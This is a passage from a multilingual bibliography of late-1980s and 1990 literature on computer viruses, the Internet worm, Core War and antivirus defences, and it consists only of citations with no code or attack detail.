Микропроцессорные средства и системы, 1989, N 2.- С.22-24
[Агасандян90] Агасандян Г. Не вреди ближнему своему // Компьютер,
1990, N 1.- С.47-49
[АгеевА89] Агеев А.С. Компьютерные вирусы и безопасность информации
// Зарубежная радиоэлектроника, 1989, N 12.- С.71-75
[АгеевК90] Агеев К., Цал М. Чудеса в нашем зоопарке // Файл, 1990.-
С.61-65
[Безруков88] Безруков Н.Н. Эвристические методы повышения качества
дизассемблирования // Программирование, 1988, N 4.- С.81-93
[Безруков89] Безруков Н.Н. Классификация компьютерных вирусов и
средства защиты от них // Эксплуатация программного обеспечения
вычислительных систем реального времени, построенных на базе микро и
мини ЭВМ. - Киев: КИИГА, 1989.- С.3-21
[Безруков90а] Безруков Н.Н. Классификация компьютерных вирусов в
МС ДОС // Программирование, 1990, N 3.- С.3-22
[Безруков90б] Безруков Н.Н. Классификация вирусов: попытка
стандартизации // ИК, 1990, N 2.- С.37-39; N 3.- С.38-47
[Безруков90в] Безруков Н.Н. Классификация компьютерных вирусов MS DOS
и методы защиты от них.- М.: СП Информэйшн Компьютер Энтерпрайз, 1990.
- 48 с.
[Бончев89а] Бончев В. Истината за компютърните вируси // КВ, 1989,
г.5, N 1-2.- С.5-6
[Бончев89б] Бончев В. Още за компютърните вируси // КВ, 1989, г.5,
N 3-4.- С.8-15
[Бончев89в] Бончев В. В търсене на универсалната ваксина // КВ, 1989,
г.5, N 5-6.- С.8-12
[Бончев89г] Бончев В. Компютърните вируси: епидемията продължава //
КВ, 1989, г.5, N 7-8.- С.2-6
[Бончев89д] Бончев В. Лихайският вирус// КВ, 1989, г.5, N 9-10.-
С.4-5,49
[Бончев90а] Бончев В.В. Компютърните вируси и методи за борба с тях
// АИТиАС, 1990, г.6, N 1.- С.37-41
[Бончев90б] Бончев В. Новите вируси в България // КВ, 1990, г.6,
N 1-2.- С.2-5
[Бончев90в] Бончев В. Играта загрубя: за вируса Eddie и неговия
злополучен автор // КВ, 1990, г.6, N 3-4.- С.9-10
[Бончев90г] Бончев В. Вирусна поща: отговори на най-честите въпроси
// КВ, 1990, г.6, N 3-4.- С.11-14
[Внук90] Внук П. 10 антивирусных заповедей // Компьютер, 1990, N 1.-
С.49
[Дзержинский90] Дзержинский Ф.Я. Комментарий о вирусах и компьютерном
пиратстве // Программирование, 1990, N 3.- С.23-24
[Диев89] Диев С.И. Защита информации в персональных компьютерах //
Зарубежная радиоэлектроника, 1989, N 12.- С.57-59
[ИНО88] Способы совершения компьютерных преступлений (обзор) //
Информатика и право: теория и практика буржуазных государств.- М., 1988.
- С.76-103.- (Сер. Информация, наука, общество)
[Кадлоф90] Кадлоф А. Вирусы // Компьютер, 1990, N 1.- С.44-47
[Карасик89а] Карасик И.Ш. К вопросу о компьютерных вирусах // Мир ПК,
1989, N 3.- С.127-131
[Карасик89б] Карасик И.Ш. Несколько слов о компьютерных вирусах //
ИК, 1989, N 1.- С.14-15
[Карасик89в] Карасик И.Ш. Типология вирусов // ИК, 1989, N 2.- С.14-15
[Карасик90а] Карасик И.Ш. Анатомия и физиология вирусов // ИК, 1990,
N 1.- С.39-47
[Карасик90б] Карасик И.Ш. Классификация антивирусных программ // ИК,
1990, N 2.- С.40-45
[Карлитин89] Карлитин Л.Е. Доктор Ватсон берет реванш у Шерлока
Холмса // Наука в СССР, 1989, N 4.- С.80-82
[КВ88-4] Вируси в паметта // КВ, 1988, г.4, N 4-5.- С.12-13
[КВ89-1] Ваксината ANTI // КВ, 1989, г.5, N 1-2.- С.7
[Куренков89] Куренков С.Д. Компьютерные вирусы и методы борьбы с ними
// Международный симпозиум INFO-89, т.1, ч.1.- Минск, 1989.- С.572-577
[Лилитко89] Лилитко Е.П. Бой в памяти - игра созидательная //
Мир ПК, 1989, N 3.- С.131-132
[Лозинский90] Лозинский Д. Одна из советских антивирусных программ:
AIDSTEST // КП, 1990, N 6.- С.17-20
[Недков89а] Недков С.Н. Програми за проникване в изчислителните
системи // АИТиАС, 1989, г.5, N 3.- С.38-43
[Недков89б] Недков С.Н. Модели на разпространението на вируси в
изчислителни системи // АИТиАС, 1989, г.5, N 7.- С.18-23
[Недков89в] Недков С. Компютърна хигиена: вируси // КВ, 1989, г.5,
N 5-6.- С.13-16
[Недков89г] Недков С. Антивирусни програми // КВ, 1989, г.5, N 9-10.-
С.6-10
[Недков89д] Недков С. Средства защиты персональных компьютеров от
вирусов // Международный симпозиум INFO-89, т.1, ч.1.- Минск, 1989.-
С.566-571
[Недков90а] Недков С. Вирусът за $ 96 000 000 по мрежата
Arpanet/Internet // КВ, 1990, г.6, N 3-4.- С.5-8
[Недков90б] Недков С. На вирусния фронт нещо ново // КВ, 1990, г.6,
N 5-6.- С.2-4
[Николаев90] Николаев А. Осторожно - вирус ! // КП, 1990, N 6.-
С.3-16
[Осипенко90] Осипенко А.С. Компьютерные вирусы // Мир ПК, 1990, N 3.-
С.23-30
[Основский90] Основский Ю.Н. Компьютерные вирусы: классификация,
методы борьбы.- М.: Центр МИФИ СП Диалог, 1990.- 41 с.
[Охрименко89] Охрименко С.А. Защита персональных ЭВМ от программных
злоупотреблений (компьютерных вирусов).- Кишинев: МолдНИИТЭИ, 1989.-
27 с.
[Павлов89] Павлов А. Компьютерная чума в СССР // Химия и жизнь, 1989,
N 7.- С.20-21
[Селль90] Селль М. Антивирусные программы // Компьютер, 1990, N 2.-
С.48-50
[Стефанков90] Стефанков Д. Пятница, 13-е // Интерфейс, 1990, N 1.-
С.38-42
[Стоянов90] Стоянов А. За лудия и вирусните зелници // КВ, 1990, г.6,
N 1-2.- С.6-7
[Томов90] Томов А. Ваксината Hunter // КВ, 1990, г.6, N 5-6.- С.6-11
[Фигурнов90] Фигурнов В.Э. IBM PC для пользователя.- М.: Финансы и
статистика, 1990.- 240 с.- (Гл.12. Защита от компьютерного вируса,
с.144-155)
[Чижов88] Чижов А.А. Некоторые соображения по поводу компьютерных
вирусов // В мире персональных компьютеров, 1988, N 1.- С.121-124
[Шерстюк90] Шерстюк Ф.Н. Вирусы и антивирусы на IBM-совместимых ПК //
ИК, 1990, N 2.- С.46-47
[Adney89] Adney W.M., Kavanagh D.E. The data bandits // Byte, 1989,
v.14, No 1, pp.267-270
[Al-Dossary90] Al-Dossary G.M. Computer virus prevention and
containment on mainframes // C&S, 1990, v.9, No 2, pp.131-137
[Alexander88a] Alexander M. Virus ravages thousands of systems // CW,
1988, v.XXII, No 45 (Nov. 7), pp.1,157
[Alexander88b] Alexander M. Anatomy of a virus // CW, 1988, v.XXII,
No 45 (Nov. 7), p.157
[Alexander88c] Alexander M. Security, ethics under national scrutiny
// CW, 1988, v.XXII, No 46 (Nov. 14), pp.1,6
[Alexander88d] Alexander M. Dissecting the anatomy of a worm // CW,
1988, v.XXII, No 46 (Nov. 14), p.10
[Alexander88e] Alexander M. Internet sites guid for hacker attacks //
CW, 1988, v.XXII, No 50 (Dec. 12), p.120
[Alexander89a] Alexander M. Cornell: Morris set worm loose // CW,
1989, v.XXIII, No 14 (Apr. 3), p.1,100
[Alexander89b] Alexander M. Morris indicted in Internet virus affair
// CW, 1989, v.XXIII, No 31 (Jul. 31), p.8
[Alexander89b] Alexander M. Morris pleads innocent to worm rap // CW,
1989, v.XXIII, No 32 (Aug. 7), p.8
[Alexander89c] Alexander M. It's the flu season for micros // CW,
1989, v.XXIII, No 38 (Sept. 18), pp.39,49
[Alexander89d] Alexander M. Disk Killer came in the front door // CW,
1989, v.XXIII, No 41 (Oct. 9), pp.1,6
[Anton89] Anton M. Schach dem virus // Toolbox, 1989, v.4, No 10,
pp.22-23
[Bates89a] Bates J. All about viruses // Practical Computing, 1989,
v.12, No 3, p.87
[Bates89b] Bates J. Putting the virus fears in focus // Practical
Computing, 1989, v.12, No 5, pp.74-76
[Bates90a] Bates J. High speed action defeats rogue disks //
Practical Computing, 1990, v.13, No 2, pp.90-91
[Bernau89] Bernau J., Vogler T. Viren schutzen gegen viren // Chip,
1989, No 2, pp.88-97
[Betts88] Betts M. Virus' benign nature will make it difficult to
prosecute // CW, 1988, v.XXII, No 46 (Nov. 14), p.16
[Bigelow89] Bigelow R.P. Computer security, crime and privacy - US
status report // CL&SR, 1989, v.4, No 6, pp.10-16
[Bigelow90] Bigelow R. The legal dimension of computer crime //
EDPAJ, 1990, v.2, pp.59-66
[Blanc89] Blanc C., Dargery Y. Les virus apprivoises // Science & vie
Micro, 1989, No 66, pp.141-144
[Booty89] Booty F. Preventing viruses on LANs // CF&SB, 1989, v.11,
No 9, pp.4-5
[Borstler89] Borstler T., Fischer Ch. Sabotage vorprogrammiert:
computer - viren bedrohen die datenbestande // CAK, 1989, No 8, pp.44-53
[Bosen89] Bosen B. Computer viruses: attacking the attackers // DC,
1989, v.2, No 3, pp.32-35
[Brenton85] Brenton T., Beneich D. Softwar: la guerre douce.- 1985
[Brunner75] Brunner J. The shockware rider.- N.Y.: Harper & Row,
1975.- 246 p.
[Brunnstein87] Brunnstein K. Uber viren, wurmer und anderes seltsames
getier in computer - systemen: ein kleines Informatik - bestiarium //
Angewandte Informatik, 1987, v.29, No 10, pp.397-402
[Brunnstein88] Brunnstein K. Dichtuhg und wahrheit // Computer
Magazin, 1988, v.17, No 9, pp.47-49
[Brunnstein89] Brunnstein K. Mythen und fakten uber viren // Chip,
1989, No 4, pp.50-56
[Burger88] Burger R. Das grosse computer-viren buch. - Dusseldorf:
Data Becker, 1988, 416 p.- (3 расшир. изд., есть английский и русский
переводы:
Burger R. Computer viruses - a high-tech disease.- Abacus, 1988.-
276 p.- (2-е издание);
Бургер Р. Компьютерные вирусы.- М.: Всес. центр переводов, 1989,
пер. N С-48102.- 67 с.; N С-48103.- 67 с.; N С-48104.- 97 с.;
N С-48105.- 93 с.- (пер. 1-го изд. 1987 г.))
[C&S88a] Revised list of virus filters // C&S, 1988, v.7, No 3,
pp.259-260
[C&S88b] Virus defence alert // C&S, 1988, v.7, No 2, pp.156-158
[Carrol90] Carrol J.M. 2300 Brave virus threat to attend National
Security Conference // C&S, 1990, v.9, No 1, pp.45-49
[CF&SB84] Communications-security vulnerabilities // CF&SB, 1984,
v.6, No 7, pp.8-10
[CF&SB89a] Anti-virus products // CF&SB, 1989, v.11, No 7, pp.3-4
[CF&SB89b] Computer security: what's new ? // CF&SB, 1989, v.11,
No 5, pp.10-11
[Clancy88] Clancy S. Viruses, trojan horses, and other badware:
information and implication for online searchers // Database, 1988,
v.11, No 4, pp.37-44
[Cohen84] Cohen F. Computer viruses: theory and experiments // Proc.
2nd IFIP Int. Conf. on Computer Security, 1984, pp.143-158
[Cohen87] Cohen F. Computer viruses: theory and experiments // C&S,
1987, v.6, No 1, pp.22-35
[Cohen88a] Cohen F. On the implications of computer viruses and
methods of defence // C&S, 1988, v.7, No 2, pp.167-184
[Cohen88b] Cohen F. Ethical issues in computer virus distribution //
C&S, 1988, v.7, No 4, pp.335-336
[Cohen89a] Cohen F. Models of practical defenses against computer
viruses // C&S, 1989, v.8, No 2, pp.149-160
[Cohen89b] Cohen F. Computational aspects of computer viruses // C&S,
1989, v.8, No 4, pp.325-344
[Computing88] New viral strains take hold// Computing, 1988, Dec.15,
p.4
[Cox88] Cox J. After virus attack, users rethink nets // Network
World, 1988, v.5, No 46 (Nov. 14)
[CP86] Virusprogramme // Computer Personlich, 1986, No 24,
pp.100-105, 164
[Crawford89] Сrawford D. Two bills equal forewarning // CACM, 1989,
v.32, No 7, pp.780-782
[Crocket88] Crockett B. Viral attack forces fast decisions // Network
World, 1988, v.5, No 46 (Nov. 14)
[Cullen89] Cullen S.W. The computer virus: is there a real panacea ?
// The Office, 1989, v.109, No 3, pp.43-46
[Daly88] Daly J. Portrait of an artist as a young hacker // CW, 1988,
v.XXII, No 46 (Nov. 14), p.6
[DataproIS30930] Computer viruses: an overview // DataproIS, Report
IS30-930-101, Jan. 1989.- 7 p.
[DataproIS30935] Fighting computer viruses through systems management
// DataproIS, Report IS30-935-101, Dec. 1989.- 6 p.
[DataproIS31001] An overview of virus protection products //
DataproIS, Report IS31-001-201, Jan. 1989.- 6 p.
[DataproIS35270] Network security: managing viruses and other threats
// DataproIS, Report IS35-270-101, Feb. 1990.- 16 p.
[DataproMC57400] Guidelines: computer viruses // DataproMC, Report
MC57-400-101, Jul. 1989.- 11 p.
[DataproMC59050] Computer viruses: protect yourself // DataproMC,
Report MC59-050-271, Feb. 1990.- 9 p.
[David88] David J. Treating viral fever // C&S, 1988, v.7, No 3,
pp.255-258
[Davies88] Davies D. Computer virus - the major computer abuse threat
of 1988 ? // CL&SR, 1988, v.4, No 1, pp.2-3
[Davies90] Davies D. The computer virus - a threat under control or a
warning of things to come ? // CL&SR, 1990, v.5, No 6, pp.8-12
[DavisF87] Davis F.G., Gantenbein R.E. Recovering from a computer
virus attack // The Journal of Systems and Software, 1987, v.7, No 4,
pp.253-258
[DavisR88] Davis R. Exploring computer viruses // Proc. 4th Aerospace
Computer Security Applications Conf., 1988, pp.7-11
[Dec88] Dec M. Polski wirus // Komputer, 1988, No 11, p.39
[Dehn89] Dehn T., Paul W. Vorbeugung bei computerviren // Computer
und Recht, 1989, v.5, No 1, pp.68-71
[DeMaio89] DeMaio H.B. Viruses - a management issue // C&S, 1989,
v.8, No 5, pp.381-388
[Denning88] Denning P.J. Computer viruses // American Scientist,
1988, v.76, No 3, pp.236-238
[Denning89] Denning P.J. The Internet worm // American Scientist,
1989, v.77, No 2, pp.126-128
[Desilets89] Desilets R.B. jr. Software vendors' exposure to products
liability for computer viruses // Computer/Law Journal, 1989, v.9, No 4,
pp.509-526
[Dewdney84] Dewdney A.K. In the game called Core War hostile programs
engage in a battle of bits // Scientific American, 1984, v.250, No 5,
pp.15-19.- (есть русский перевод:
Дьюдни А.К. В игре Бой в памяти компьютерные программы ведут
битву за биты // В мире науки, 1984, N 7.- С.96-101)
[Dewdney85] Dewdney A.K. A Core War bestiary of viruses, worms and
other threats to computer memories // Scientific American, 1985, v.252,
No 3, pp.14-19.- (есть русский перевод:
Дьюдни А.К. Обзор читательских откликов на статьи, посвященные
игре Бой в памяти, экологической войне на планете АкваТор и охоте с
компьютером на бобра - работягу // В мире науки, 1985, N 5.- С.70-75)
[Dewdney87] Dewdney A.K. A program called MICE nibbles its way to
victory at the first Core War tournament // Scientific American, 1987,
v.256, No 1, pp.8-11.- (есть русский перевод:
Дьюдни А.К. Анализ результатов первого турнира по компьютерной
игре Бой в памяти // В мире науки, 1987, N 3.- С.96-100)
[Dewdney88] Dewdney A.K. The armchair Universe.- Oxford: W.H.Freeman
and Co., 1988.- 330 p.
[Dewdney89] Dewdney A.K. Of worms, viruses and Core War // Scientific
American, 1989, v.260, No 3, pp.90-93.- (есть русский перевод:
Дьюдни А.К. О вирусах, червяках и войне в памяти // В мире науки,
1989, N 5.- С.82-86)
[DiDio88] DiDio L. Virus victims are stoic in wake of multinet attack
// Network World, 1988, v.5, No 46 (Nov. 14)
[Dierstein85] Dierstein R. Computer-viren // KES, 1985, v.1, No 3,
pp.77-86; No 4, pp.125-135
[Dierstein86] Dierstein R. Computer viren // Output, 1986, v.15,
No 8, pp.33-40; No 10, pp.43-47
[Dierstein88] Dierstein R. Das Israel-virus // KES, 1988, v.4, No 2,
pp.108-110
[Dierstein89a] Dierstein R. Viren sind ganz normale programme ... //
Computer Personlich, 1989, No 3, pp.38-44
[Dierstein89b] Dierstein R. Viren - wurmer - trojanische pferde - was
ist das? // KES, 1989, v.5, No 3, pp.162-167
[Dierstein90a] Dierstein R. Das Panama- oder AIDS-programm // KES,
1990, v.6, No 1, pp.4-14
[Dierstein90b] Dierstein R. Viren als aprilscherz // KES, 1990, v.6,
No 2, pp.98-101
[Djibril89] Djibril F. Datacrime // Science & vie Micro, 1989, No 66,
pp.138-140
[Dubash88] Dubash M. A plague on your systems // Practical Computing,
1988, v.11, No 4, pp.64-67
[Duff89a] Duff T. Viral attacks on UNIX system security // Proc.
USENIX Association Winter Conf., 1989
[Duff89b] Duff T. Experience with viruses on UNIX systems //
Computing Systems, 1989, v.2, No 2, pp.155-171
[Dvorak88] Dvorak J.C. Virus wars: a serious warning // PC Magazine,
1988, v.7, No 4, p.71
[EDPAJ90] EDPAA testimony before US congress regarding computer
viruses // EDPAJ, 1990, v.2, pp.68-72
[Eisenberg89] Eisenberg T., Gries D. et al. The Cornell comission: on
Morris and the worm // CACM, 1989, v.32, No 6, pp.706-709
[Fak88] Fak V. Are we vulnerable to a virus attack ? A report from
Sweden // C&S, 1988, v.7, No 2, pp.151-155
[Fastiggi] Fastiggi M.V. Detection of surreptitious insertion of
trojan horse or viral code in computer application programs //
Information Age, 1989, v.11, No 1, pp.3-18
[Fites89] Fites P., Johnston P., Kratz M. The computer virus crisis.-
N.Y.: Van Nostrand Reinhold, 1989, 171 p.
[Gardner89] Gardner P.E. The Internet worm: what was said and when //
C&S, 1989, v.8, No 4, pp.291-296
[Gemignani85] Gemignani M. The software protection worm: can it turn
against its Master ? // Abacus, 1985, v.2, No 4, pp.39-40,51
[Gemignani89] Gemignani M. Viruses and criminal law // CACM, 1989,
v.32, No 6, pp.669-671
[Gibson84] Gibson W. Neuromancer.- N.Y.: Ace Science Fiction, 1984
[Gibson88] Gibson W. Mona Lisa Overdrive.- N.Y.: Bantam Books, 1988
[Glath88] Glath R. The case of the Gerbil virus that wasn't // C&S,
1988, v.7, No 5, pp.451-453
[Glath90] Glath R.M. Stealth viruses ... weapon systems of tomorrow ?
// DC, 1990, v.3, No 5, pp.34-36
[Gleissner89] Gleissner W. A mathematical theory for the spread of
computer viruses // C&S, 1989, v.8, No 1, pp.35-41
[Glendown89] Glendown G. Bootblaker: bootblock-virusprotector fur den
Amiga // Toolbox, 1989, v.4, No 1, pp.51-53
[Gliss88] Gliss H. EARN network hit by student prank // CF&SB, 1988,
v.10, No 5, pp.1-4
[Goodwins88] Goodwins R. Understanding the minds behind the viruses
// CF&SB, 1988, v.10, No 7, pp.3-4
[Graf90] Graf J. Interview mit Deutschlands erstem virenprogrammierer
// Chip, 1990, No 3, pp.405-406
[Greenberg89] Greenberg R.M. Know thy viral enemy // Byte, 1989,
No 6, pp.275-280
[Gruman89] Gruman G. Viruses and worms: what to do ? // IEEE
Software, 1989, v.6, No 2, pp.93-96
[Gunn74] Gunn J.B. Use of virus functions to provide a virtual APL
interpreter under user control // APL Quote Quad, 1974, v.5, No 4,
pp.163-168
[Hackenberg89] Hackenberg G. Programmschadlinge - eine virologie //
DuD, 1989, No 8, pp.392-397
[Hafner88] Hafner K.M. Is your computer secure ? // Business Week,
1988, No 3063 (August 1), pp.64-72
[Herschberg90] Herschberg I.S., Paans R. Friday the 13th, facts and
fancies // C&S, 1990, v.9, No 2, pp.125-130
[Highland87a] Highland H.J. Computer viruses and sudden death ! //
C&S, 1987, v.6, No 1, pp.8-10
[Highland87b] Highland H.J. Data physician - a virus protection
program // C&S, 1987, v.6, No 1, pp.73-79
[Highland88a] Highland H.J. Case history of a virus attack // C&S,
1988, v.7, No 1, pp.3-4
[Highland88b] Highland H.J. Computer viruses - a post mortem // C&S,
1988, v.7, No 2, pp.117-125
[Highland88c] Highland H.J. Anatomy of a virus attack // C&S, 1988,
v.7, No 2, pp.145-150
[Highland88d] Highland H.J. An overview of 18 virus protection
products // C&S, 1988, v.7, No 2, pp.157-161
[Highland88e] Highland H.J. How to combat a computer virus // C&S,
1988, v.7, No 2, pp.157-163
[Highland88f] Highland H.J. How to test a virus filter without a
virus // C&S, 1988, v.7, No 3, pp.235-242
[Highland88g] Highland H.J. How to obtain a computer virus // C&S,
1988, v.7, No 4, pp.337-346
[Highland88h] Highland H.J. The BRAIN virus: fact and fantasy // C&S,
1988, v.7, No 4, pp.367-370
[Highland88i] Highland H.J. Computer viruses: media hyperbole, errors
and ignorance // C&S, 1988, v.7, No 5, pp.439-449
[Highland88j] Highland H.J. Virus filter evaluation report // C&S,
1988, v.7, No 6, pp.533-541
[Highland88k] Highland H.J. Case history of a virus attack // CF&SB,
1988, v.10, No 4, pp.4-7
[Highland88l] Highland H.J. The BRAIN virus - fact and fantasy //
CF&SB, 1988, v.10, No 11, pp.4-9
[Highland89a] The computer virus handbook / H.J.Highland (ed.).-
Oxford: Elsevier Advanced Technology, 1989
[Highland89b] Highland H.J. The Milnet/Arpanet attack // C&S, 1989,
v.8, No 1, pp.3-13
[Highland89c] Highland H.J. The Italian or Ping-pong virus // C&S,
1989, v.8, No 2, pp. 91-98
[Highland89d] Highland H.J. A macro virus // C&S, 1989, v.8, No 3,
pp.178-188
[Highland89e] Highland H.J. Harmless viruses do not exist // C&S,
1989, v.8, No 4, pp.276-278
[Highland89f] Highland H.J. The Marijuana virus revisited // C&S,
1989, v.8, No 5, pp.369-380
[Highland89g] Highland H.J. The Internet worm ... continued // C&S,
1989, v.8, No 6, pp.460-478
[Highland89h] Highland H.J. How to detect a computer virus in your
system // C&S, 1989, v.8, No 7, pp.553-561
[Highland89i] Highland H.J. Protecting hardware and software // C&S,
1989, v.8, No 8, pp.647-657
[Highland89j] Highland H.J. Datacrime virus and new anti-virus
products // C&S, 1989, v.8, No 8, pp.659-661
[Highland89k] Highland H.J. VCHECKER - a virus search program // C&S,
1989, v.8, No 8, pp.669-674
[Highland89l] Highland H.J. Two new viruses pose threat // CF&SB,
1989, v.11, No 4, pp.20-21
[Highland89m] Highland H.J. The ARPANET virus attack // CF&SB, 1989,
v.11, No 5, pp.7-10
[Highland89n] Highland H.J. The Italian virus // CF&SB, 1989, v.11,
No 7, pp.7-8
[Highland90a] Highland H.J. New directions for anti-virus measures //
C&S, 1990, v.9, No 1, pp.7-8
[Highland90b] Highland H.J. Emerging viruses, emerging threat // C&S,
1990, v.9, No 2, pp.104-108
[Highland90c] Highland H.J. A spate of new virus // C&S, 1990, v.9,
No 3, pp.205-206
[Hoffman89] Hoffman G. Wurm im Internet // DuD, 1989, No 2,
pp.63-70
[Hoffmeister87a] Hoffmeister F. An approach to defend computers
against computer viruses // Proc. IASTED Int. Symp.: Applied
Informatics, 1987, pp.176-179
[Hoffmeister87b] Hoffmeister F. Risiken durch computerviren - erste
losungsansatze // PIK, 1987, v.10, No 3, pp.196-202
[Honan89] Honan P. Avoiding virus hysteria // Personal Computing,
1989, v.13, No 5, pp.85-92
[Hoppenrath89] Hoppenrath D. Computerviren: problem oder psychose? //
Computer Personlich, 1989, No 3, pp.45-47
[Horwitt88] Horwitt E. Virus scare shakes IBM MIS managers // CW,
1988, v.XXII, No 46 (Nov. 14), p.8
[Hruska88a] Hruska J. Data viruses, trojan horses and logic bombs -
how to combat them ? // CF&SB, 1988, v.10, No 6, pp.5-7
[Hruska88b] Hruska J. BRAIN - the truth is revealed // CF&SB, 1988,
v.10, No 7, pp.2-3
[Hruska90] Hruska J. Computer viruses // Information Age, 1990, v.12,
No 2, pp.100-108
[Hunter89] Hunter P. Virus attack // Communications Management, 1989,
April, pp.36-38
[Isselhorst89] Isselhorst H. Massnahmen zum manipulationsschutz von
software - notwendigkeit, arten, bewertung // DuD, 1989, No 8,
pp.398-402
[Jackson88] Jackson K. Virus alters networking // CommunicationsWeek,
1988, No 222 (Nov. 14)
[Jackson89a] Jackson K. 1813 strikes city university // CF&SB,
1989, v.11, No 4, p.19
[Jackson89b] Jackson K. Vaccine // CF&SB, 1989, v.11, No 7, pp.13-16
[Joepgen89] Joepgen H.-G. Viren, minen und trojaner // MC,
1989, No 7, pp.44-48; No 8, pp.80-89; No 9, pp.68-78; No 10, pp.118-124
[JonesH88] Jones H. Gremlins that grind your system down // PC
Business World, 1988, v.4, No 7, p.8
[JonesL88] Jones L.G. Computer viruses: threat or media hype ? //
EDPAJ, 1988, v.3, pp.25-32
[Jorga88] Jorga F. ANTIBIOtica gegen virus - programme //
Wirtschaftsschutz + Sicherheitstechnik, 1988, No 7, pp.373-374
[Joseph88] Joseph M., Avizienis A. A fault tolerance approach to
computer viruses // Proc. IEEE Symp. on Security and Privacy, 1988,
pp.52-58
[Joseph89] Joseph M.K. A response to criticisms of a virus detection
scheme // SIGSAC Rewiew, 1989, v.7, No 3, pp.3-5
[Joyce88] Joyce E.J. Software viruses: PC-health enemy number one //
Datamation, 1988, v.34, No 20, pp.27-30
[Kadlof89] Kadlof A. Wirusy atakuja // Komputer, 1989, No 7/8,
pp.28-29; No 9, pp.26-28; No 10, pp.35-37; 1990, No 1/3, pp.34-35
[Kadlof90a] Kadlof A. Wirusy komputerowe w Polsce // PCkurier, 1990,
No 8, pp.10-11; No 15, pp.10-11; No 21, pp.14-15
[Kadlof90b] Kadlof A. Uwaga: nove wirusy // PCkurier, 1990, No 9,
pp.6-7
[Kadlof90c] Kadlof A. Przeciw wirusom // PCkurier, 1990,
No 11, p.7; No 12, pp.15-17; No 13, pp.14-16; No 14, pp.16-17; No 16,
pp.14-15; No 18, pp.14-15; No 19, pp.14-15
[Kadlof90d] Kadlof A. Identyfikacja wirusow komputerowych //
PCkurier, 1990, No 22, pp.20-21
[Kаnel88] Kаnel A. Informatigue: le Sida se repand // La Revue
Polytechnique, 1988, No 1502, pp.985-987
[Kane89] Kane P. V.I.R.U.S. protection: vital information resources
under siege.- N.Y.: Bantam Books.- 477 p.- (с дискетой утилит Dr. Panda)
[Kask88] Kask A. Computer viruses are as easy to prevent as the
common cold // InfoWorld, 1988, v.10, No 50 (Dec. 12), p.49
[Kastenmuller88] Kastenmuller S. Erkennen von computer-viren //
KES, 1988, v.4, No 4, pp.255-263
[Kelly89] Kelly M. Treating viruses sensibly // Practical Computing,
1989, v.12, No 5, pp.72-73
[King89] King M. Viruses and related mechanisms in MVS // Software
World, 1989, v.20, No 1, pp.2-4
[King90] King M. Solving the virus problem: how to protect your
system // Technical Support, 1990, v.4, No 1, pp.25-28
[Klopp90] Klopp Ch. Software vendors capitalize on security needs //
C&S, 1990, v.9, No 1, pp.33-35
[Kocher89] Kocher B. A hygiene lesson // CACM, 1989, v.32, No 1,
pp.3,6
[Koziel88] Koziel T., Leister G. Die viren sind da: bootsector -
viren erobern den Atari ST // C't, 1988, No 7, pp.72-80
[Krabel87] Krabel E. Die viren kommen // C't, 1987, No 4, pp.108-117
[Kurzban89] Kurzban S.A. Viruses and worms - what can you do ? //
SIGSAC Rewiew, 1989, v.7, No 1, pp.16-32
[Lai88] Lai N., Gray T.E. Strengthening discretionary access controls
to inhibit trojan horses and computer viruses // Proc. USENIX
Association Summer Conf., 1988, pp.275-286
[Lammer88] Lammer P. Protection from infection // Systems
International, 1988, v.16, No 6, pp.75-76
[Majewski88] Majewski W. Wirusowa goraczka // Komputer, 1988, No 11,
pp.35-39
[Margolis88] Margolis N., Ryan A.J. What did the worm teach us ? //
CW, 1988, v.XXII, No 46 (Nov. 14), p.14
[Marotta89] Marotta M.E. Computer viruses: the security challenge //
Systems 3X & AS World, 1989, v.17, No 3, pp.82-90
[Marshall88a] Marshall E. The scourge of computer viruses // Science,
1988, v.240, No 4849 (Apr. 8), pp.133-134
[Marshall88b] Marshall E. Worm invades computer networks // Science,
1988, v.242, No 4880 (Nov. 11), pp.855-856
[Marshall88c] Marshall E. The worm's aftermath // Science, 1988,
v.242, No 4882 (Nov. 25), pp.1121-1122
[McAfee89a] McAfee J. Managing the virus threat // CW, 1989, v.XXIII,
No 6 (Feb. 13), pp.89-96
[McAfee89b] McAfee J. The virus cure // Datamation, 1989, v.35, No 4,
pp.29-40
[McBroom89] McBroom V. Computer viruses: what they are, how to
protect against them // Software Protection, 1989, v.VIII, No 3, pp.1-16
[McIlroy89] McIlroy M.D. Virology 101 // Computing Systems, 1989,
v.2, No 2, pp.173-181
[McLellan88] McLellan V. Computer systems under seige (viruses) //
EDPAJ, 1988, v.3, pp.33-38
[Menkus89] Menkus B. The computer virus situation is not encouraging
// C&S, 1989, v.8, No 2, pp.115-119
[Menkus90] Menkus B. In the matter of Robert Tappan Morris, jr //
EDPAJ, 1990, v.2, pp.10-11
[Miedel89a] Miedel L. Schadlinge im boot-block // Chip, 1989, No 7,
pp.136-141
[Miedel89b] Miedel L. Attacke mit dem lotkolben // Chip, 1989, No 9,
pp.261-262
[Moran88] Moran R. Virus origin still under investigation // CW,
1988, v.XXII, No 46 (Nov. 14), p.14
[Mucke89] Mucke A. Viren - kurz erklart // KES, 1989, v.5, No 6,
pp.394-397
[Mucksch90] Mucksch H. Viren, wanzen, wurmer, trojanische pferde:
gefahren fur die dezentrale, individuelle datenverarbeitung -
insbesondere die der hochschule // DuD, 1990, No 3, pp.146-154; No 4,
pp.206-211
[Muller87] Muller G.F. Computer-vieren - neue gefahrdung der EDV ?
// DuD, 1987, No 10, pp.482-486
[Murray88] Murray W.H. The application of epidemiology to computer
viruses // C&S, 1988, v.7, No 2, pp.139-145
[Musstopf89] Musstopf G. Infarktbekampfung // Chip Tool, 1989, No 12,
pp.132-133
[Nedkov89] Nedkov S. Italian virus infects hard disks too // CF&SB,
1989, No 8, pp.5-7
[ParkerD81] Parker D.B. Ethical conflicts in computer science and
technology.- Arlington: AFIPS Press, 1981.- 201 p.
[ParkerT88] Parker T. An ounce of prevention: vaccines to fight
viruses and trojans // Computer Language, 1988, v.5, No 9, pp.119-134
[PCWeek88] Apple dealers sent virus test/cure disk to halt spread of
Mac malady // PC Week, 1988, v.4, No 15 (Apr. 26), p.3
[Penrose59] Penrose L.S. Self-reproducing machines // Scientific
American, 1959, v.200, No 6, pp.105-114
[Peter89] Peter J. Protect: impfstoff gegen viren ! // Toolbox, 1989,
v.4, No 1, pp.58-63
[Pitman89] The complete computer virus handbook.- London: Pitman, 1989.
[Pournelle88] Pournelle J. Dr. Pournelle vs. the virus // Byte, 1988,
No 7, pp.197-207
[Powell89] Powell D. Fighting network infection // Network
Management, 1989, v.7, No 9, pp.39-48
